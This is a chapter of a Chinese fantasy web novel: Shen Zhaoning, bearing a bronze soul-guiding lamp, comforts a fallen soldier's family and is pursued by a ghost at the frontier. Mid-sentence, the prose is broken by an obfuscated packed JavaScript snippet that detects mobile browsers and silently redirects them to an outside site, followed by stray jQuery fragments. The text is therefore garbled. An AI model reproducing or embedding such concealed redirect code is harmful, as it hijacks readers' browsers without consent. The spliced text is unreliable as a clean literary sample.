王福听到这话后,却只是叹息一声,向他们说道:
“本官知道你们心底的愤怒,可张石头已经受到了该有的惩罚,你们就不必把这怨念发泄到她们身上了。”
随着这句话落下,周围人沉默很久,并没有一人说话。
为首的那人怨恨的目光时而扫过那个老人,最终冷哼一声:
“今日姑且算她们运气好,碰上王大人来说情,若是再不给我们个交代,休怪我们不讲情面!”
说罢,那人甩袖离开,余下的几人瞥见后,往地上啐了口唾沫,也跟着走了出去。
不过片刻,门前就只剩下他们三人。
沈昭宁仍是站桥上,抚摸着手中的青铜灯,默不作声地看着眼前的一切。
王福的身材精瘦,人却长得十分高大,不像是记忆中那抹瘦小的身影。
他不知与老妇人低声寒暄了什么,只见老妇人双眼通红,不断抹着眼泪。
最终王福留下了两串铜钱,也离开了这个地方。
抱着孩子的农妇连忙迎向老人,跟着她一起进了屋。
正准备关门的时候,沈昭宁在此时走过来,挡住她们的动作。
面对她们疑惑的目光,沈昭宁莞尔一笑,向她们解释:
“在下姓沈,受人所托前来料理一桩旧事,敢问你们可是张石头家眷?”
听到这话,老人原本麻木的眼神顿时生出几分恐惧,往后退了两步,挡在农妇的身前问道:
“你是什么人?”
她们不知多少天未曾进食,面黄肌瘦,怀中的婴儿也不断哭着。
沈昭宁没有说话,将怀中的枣泥糕拿出来递给那个抱着婴儿的农妇,自己也吃了一块。
枣泥糕的味道酸甜,加了干桂花作辅,只可惜火候过了些,口感有些干涩。
“尝尝吧,味道虽然差了些,不过口感也算得上中品。”
农妇显然有些受宠若惊,愣愣地收下后,难掩腹中饥饿,忍不住咬了一口。
香甜的滋味瞬间在齿间蔓延,她怔愣片刻后,狼吞虎咽地吃起来,余下的两块还不忘分给一旁的老人。
“好吃吧?”沈昭宁笑盈盈地看着她们:“不知可否容我进去喝杯茶,听一下张石头的故事?”
见她没有恶意,两个人相互看了一眼,最终点头同意让沈昭宁进了屋门。
张家的宅院很破,布局也十分简单,两张木床和灶台,以及缺了半条腿的木桌,除此之外再无其它。
沈昭宁刚坐下,老人便为她添上了茶,也跟着坐下来,犹豫半晌,都不知该从何开口。
直到在沈昭宁温和的目光循循引诱下,老妇人这才沙哑着嗓音开口:
“石头他…在从前是很乖的。”
根据老妇人所说,张石头为人老实憨厚,在未参军前一直做着木匠生意。
后来征战三年多,偶尔也回了一两次家,每次都是满脸开心,将存下的俸禄悉数交给妻子。
直到一年前,张石头的妻子怀上了孩子,谁曾想,那几日竟会成永别。
峰山口那一战死了很多人,他们将遗体就地掩埋,只带回了几件物品还予亲属以作思念。
说到这里,老妇人擦了擦眼泪,哽咽道:
“俺知道,石头犯了大错,他该死。”
“可…俺连他最后一面都见不到。”
这番动人肺腑的话,使旁边引魂灯的烛光轻颤。
在得到张石头作战的具体位置后,沈昭宁略一思索,便向她们轻声说道:
“放心吧,我会去那里帮你们找找看他的遗物,你们姑且在这里稍作等待。”
听到这句话,两个人的眼中满是不可置信,农妇甚至想抱着怀中的婴儿向沈昭宁跪下,被沈昭宁连忙扶起来。
在她们连连道谢声中,沈昭宁握着青铜灯,便朝着屋外走去。
由着上京离边关太远,且入关条件极其麻烦,便是沈昭宁拿出三十两银子都没人肯接下这活。
最终还是一个老头犹犹豫豫地走向前,向沈昭宁商量:
“俺可以把你拉到锦州,余下的路需要你自个儿走,成不?”
连着被拒绝了这么多次,沈昭宁哪还有不成的道理,更何况有引魂灯在手,她的速度远胜任何人,这点路程不在话下。
沈昭宁到了边关附近后,并不急着跟随引魂灯去张石头记忆中的地方,而是寻了个酒楼暂且住着。
待深夜人静时,她才握着青铜灯朝目的地走去。
边关把守的士兵眼神锐利,沈昭宁却毫不畏惧,握着青铜灯大摇大摆地从门关里穿过去。
夜色朦胧,张牙舞爪的枯树在月
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534732|186493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光下格外瘆人,随着一股若有若无的腥臭味,瞧得人心里直发毛。
纵然沈昭宁这些年来看过不少死状凄惨的阴魂,可当她孤身踏进山林时,心里难免会有些恐惧。
根据灵昀所说,她表面看起来虽说与常人无异,依靠的是这青铜灯,若是青铜灯丢失,她非但回不去忘忧楼,还会沦落在外变回孤魂野鬼。
沈昭宁叹了口气,只能把所有希望寄托在青铜灯上。
只要有它在手,一般不会有阴魂敢凑近。
只是走着走着,沈昭宁发觉了几分不对。
怎么将近半柱香的时间过去了,怎么还能看到边关的烛火?
放眼看去,只见枯树微微晃动,像是有一道黑影从中闪过,藏在暗处死死地盯着她手上的青铜灯。
沈昭宁心下一骇,眉头紧锁。
遭了!
怕是碰到恶鬼拦路了!
沈昭宁指尖轻划灯身,火红的烛火瞬间腾起,短暂地照亮了周围。
四周寂静无声,凄白的月光透过树枝斑驳地映在地面上。
沈昭宁的心暂时放下,可就在转头的瞬间,她蓦地对上了一道血红的瞳孔!
那恶鬼似是忌惮着青铜灯的威力,不敢贸然上前,只是藏在暗处等机会。
刹那间,沈昭宁浑身血液凝固,心里只有一个念头。
跑!
她握着灯身,飞快地朝着东侧的方向跑,在青铜灯的加持下,她轻易地避开了地上的坑洞。
然而那只恶鬼紧紧随在她的身后,四爪着地,猩红的眼睛死死地盯着沈昭宁的背影,扑了上去!
“啊!”
沈昭宁一时没有注意,竟直接摔下了斜坡,手里的青铜灯骨碌碌滚到了地上。
恶鬼看到了机会,喉间溢出怪异的声音,瞪着眼睛朝沈昭宁扑过去。
沈昭宁咬着牙忍受着脚腕的剧痛,猛地爬到青铜灯的附近,伸手想要抓住它。
然而就在这时候,一只修长如玉的手轻握住那盏灯,拿了起来。
骨节分明的手苍白,握在青铜灯间很是赏心悦目。
然而沈昭宁却愣在了原地。
活人是看不见这盏灯的。
而阴魂更不敢擅自触碰这盏灯,否则下场只有灰飞烟灭。
他到底什么身份?